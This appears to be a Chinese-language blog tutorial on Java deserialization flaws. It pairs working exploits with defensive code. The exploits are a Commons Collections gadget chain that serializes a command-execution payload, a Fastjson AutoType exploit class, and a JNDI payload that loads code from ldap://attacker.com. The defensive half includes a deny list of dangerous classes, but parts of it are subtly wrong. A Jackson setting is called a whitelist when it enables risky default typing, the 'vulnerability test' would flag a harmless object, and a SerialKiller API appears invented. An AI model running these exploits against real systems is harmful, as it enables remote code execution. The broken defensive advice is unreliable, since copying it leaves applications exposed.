Java反序列化漏洞案例

wen java案例 1

Java反序列化漏洞案例分析

漏洞原理

Java反序列化漏洞的核心原理是:当应用程序反序列化不可信数据时,攻击者可以构造恶意的序列化对象,在反序列化过程中触发危险方法执行

Java反序列化漏洞案例

// 简化的漏洞原理
ObjectInputStream ois = new ObjectInputStream(socket.getInputStream());
Object obj = ois.readObject(); // 关键点:反序列化不可信数据

经典利用链:Commons Collections

1 基础利用链(TransformedMap版)

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections1Exploit {
    public static void main(String[] args) throws Exception {
        // 1. 构造执行命令的Transformer链
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", 
                new Class[]{String.class, Class[].class}, 
                new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", 
                new Class[]{Object.class, Object[].class}, 
                new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec", 
                new Class[]{String.class}, 
                new Object[]{"calc.exe"})
        };
        ChainedTransformer chain = new ChainedTransformer(transformers);
        // 2. 创建HashMap并放入一个键值对
        HashMap<Object, Object> map = new HashMap<>();
        map.put("value", "xxx");
        // 3. 创建TransformedMap,当key或value变化时触发Transformer
        Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chain);
        // 4. 通过反射调用annotations的put方法触发反序列化
        // 这里简化展示,实际需要配合AnnotationInvocationHandler
        System.out.println("恶意对象创建成功");
    }
}

2 真实利用链(LazyMap + AnnotationInvocationHandler)

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollectionsFinalExploit {
    public static byte[] createExploit(String command) throws Exception {
        // 构造Transformer链条
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", 
                new Class[]{String.class, Class[].class}, 
                new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", 
                new Class[]{Object.class, Object[].class}, 
                new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec", 
                new Class[]{String.class}, 
                new Object[]{command})
        };
        ChainedTransformer chain = new ChainedTransformer(transformers);
        // 创建LazyMap
        HashMap<Object, Object> map = new HashMap<>();
        Map lazyMap = LazyMap.decorate(map, chain);
        // 获取AnnotationInvocationHandler
        Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        // 创建第一个handler:触发transform
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(
            Retention.class, lazyMap);
        // 创建代理Map:触发readObject
        Map proxyMap = (Map) Proxy.newProxyInstance(
            Map.class.getClassLoader(),
            new Class[]{Map.class},
            handler);
        // 创建第二个handler:反序列化时触发
        handler = (InvocationHandler) constructor.newInstance(
            Retention.class, proxyMap);
        // 序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(handler);
        oos.close();
        return baos.toByteArray();
    }
    public static void main(String[] args) throws Exception {
        byte[] payload = createExploit("calc.exe");
        // 模拟反序列化攻击
        ByteArrayInputStream bais = new ByteArrayInputStream(payload);
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject(); // 触发命令执行
    }
}

真实漏洞案例:Fastjson反序列化

1 漏洞利用Demo

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.alibaba.fastjson.parser.Feature;
public class FastjsonExploit {
    // 恶意类模板
    public static class EvilClass {
        private String cmd;
        public EvilClass() {
            try {
                Runtime.getRuntime().exec("calc.exe");
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
        public String getCmd() {
            return cmd;
        }
        public void setCmd(String cmd) {
            this.cmd = cmd;
        }
    }
    public static void main(String[] args) {
        // 开启AutoType支持(默认关闭)
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        // 恶意JSON字符串
        String jsonString = "{\"@type\":\"com.example.FastjsonExploit$EvilClass\",\"cmd\":\"calc.exe\"}";
        // 反序列化触发漏洞
        Object obj = JSON.parseObject(jsonString);
        System.out.println("反序列化结果: " + obj);
    }
}

2 JNDI注入利用

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class FastjsonJNDIExploit {
    public static void main(String[] args) {
        // JNDI注入payload
        String payload = "{\n" +
            "    \"@type\": \"com.sun.rowset.JdbcRowSetImpl\",\n" +
            "    \"dataSourceName\": \"ldap://attacker.com:1389/Exploit\",\n" +
            "    \"autoCommit\": true\n" +
            "}";
        // 高危:会连接到远程LDAP服务器加载恶意类
        JSON.parseObject(payload);
    }
}

防御措施

1 安全的反序列化

import java.io.*;
import java.util.ArrayList;
import java.util.List;
public class SafeDeserialization {
    // 白名单验证的反序列化
    public static Object safeDeserialize(byte[] data) throws Exception {
        try (ByteArrayInputStream bais = new ByteArrayInputStream(data);
             SafeObjectInputStream ois = new SafeObjectInputStream(bais)) {
            return ois.readObject();
        }
    }
    // 自定义安全ObjectInputStream
    public static class SafeObjectInputStream extends ObjectInputStream {
        private static final List<String> WHITELIST = new ArrayList<>();
        static {
            WHITELIST.add("java.lang.String");
            WHITELIST.add("java.util.HashMap");
            WHITELIST.add("java.util.ArrayList");
            // 只允许可信类
        }
        public SafeObjectInputStream(InputStream in) throws IOException {
            super(in);
        }
        @Override
        protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
            String className = desc.getName();
            if (!isAllowed(className)) {
                throw new SecurityException("禁止反序列化类: " + className);
            }
            return super.resolveClass(desc);
        }
        private boolean isAllowed(String className) {
            for (String allowed : WHITELIST) {
                if (className.startsWith(allowed)) {
                    return true;
                }
            }
            return false;
        }
    }
}

2 使用安全的序列化框架

import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.SerializationFeature;
public class JacksonSafeUsage {
    public static void main(String[] args) throws Exception {
        ObjectMapper mapper = new ObjectMapper();
        // 禁用默认类型
        mapper.disableDefaultTyping();
        // 或者设置白名单
        mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
        // 安全的JSON解析
        String json = "{\"name\":\"test\"}";
        MyObject obj = mapper.readValue(json, MyObject.class);
        System.out.println(obj);
    }
}
class MyObject {
    private String name;
    public String getName() {
        return name;
    }
    public void setName(String name) {
        this.name = name;
    }
}

3 使用LookAheadObjectInputStream

public class LookAheadObjectInputStream extends ObjectInputStream {
    public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
        super(inputStream);
    }
    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
        // 在读取对象前进行验证
        if (desc.getName().contains("Runtime") || 
            desc.getName().contains("ProcessBuilder") ||
            desc.getName().contains("InvokerTransformer")) {
            throw new SecurityException("拒绝反序列化危险类: " + desc.getName());
        }
        return super.resolveClass(desc);
    }
}

检测工具和方案

1 使用SerialKiller工具

<!-- Maven依赖 -->
<dependency>
    <groupId>io.github.hakky54</groupId>
    <artifactId>serialkiller</artifactId>
    <version>1.0.1</version>
</dependency>
import io.github.hakky54.serialkiller.SerialKiller;
public class SerialKillerExample {
    public static void main(String[] args) throws Exception {
        // SerialKiller配置白名单
        SerialKiller killer = new SerialKiller();
        killer.setWhitelist(true);
        killer.addToWhitelist("java.lang.*");
        killer.addToWhitelist("java.util.*");
        // 使用SerialKiller进行安全反序列化
        byte[] data = getUntrustedData();
        Object obj = killer.deserialize(data);
    }
    private static byte[] getUntrustedData() {
        return new byte[0];
    }
}

2 使用OWASP Java Encoder

import org.owasp.encoder.Encode;
public class EncodeExample {
    public static void safeLogInput(String userInput) {
        // 对输入进行编码防止日志注入
        String safeInput = Encode.forJava(userInput);
        System.out.println("安全输入: " + safeInput);
    }
}

最佳实践总结

1 代码层面

  1. 不要反序列化不可信数据
  2. 使用白名单验证类
  3. 考虑使用JSON等替代序列化方案
  4. 升级依赖库到最新版本

2 配置层面

# JVM参数禁用RMI动态加载
-Djava.rmi.server.useCodebaseOnly=true
# 限制JNDI
-Dcom.sun.jndi.ldap.object.trustURLCodebase=false
-Dcom.sun.jndi.rmi.object.trustURLCodebase=false
# Fastjson防漏洞配置
fastjson.parser.autoTypeSupport=false

3 监控层面

<!-- Spring Boot配置 -->
<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-actuator</artifactId>
</dependency>
# application.yml配置
management:
  endpoints:
    web:
      exposure:
        include: health,info,metrics

案例测试

1 漏洞验证代码

public class VulnerabilityTest {
    public static void main(String[] args) {
        // 测试是否可被反序列化攻击
        String testPayload = "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAAAeA==";
        try {
            byte[] data = Base64.getDecoder().decode(testPayload);
            ByteArrayInputStream bais = new ByteArrayInputStream(data);
            ObjectInputStream ois = new ObjectInputStream(bais);
            ois.readObject();
            System.out.println("危险:存在反序列化漏洞!");
        } catch (Exception e) {
            System.out.println("安全:反序列化被阻止 - " + e.getMessage());
        }
    }
}

通过这些案例和代码示例,可以看到Java反序列化漏洞的危害性和防御措施的重要性,在实际开发中,应该始终遵循安全编码规范,避免反序列化不可信数据。

抱歉,评论功能暂时关闭!